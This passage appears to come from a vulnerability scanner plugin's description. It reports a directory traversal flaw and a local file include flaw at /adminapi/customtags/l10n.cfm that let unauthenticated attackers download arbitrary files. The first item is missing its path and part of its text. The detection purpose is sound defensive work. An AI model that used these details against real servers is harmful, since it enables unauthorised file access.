by the following vulnerabilities :

  - A directory traversal vulnerability exists in

    download arbitrary files.

  - A local file include vulnerability exists in
    /adminapi/customtags/l10n.cfm. A remote, unauthenticated
    attacker can exploit this to execute local cfm files.

A remote, unauthenticated attacker can exploit both of these
vulnerabilities, resulting in the download of arbitrary files as
demonstrated in this plugin report.");
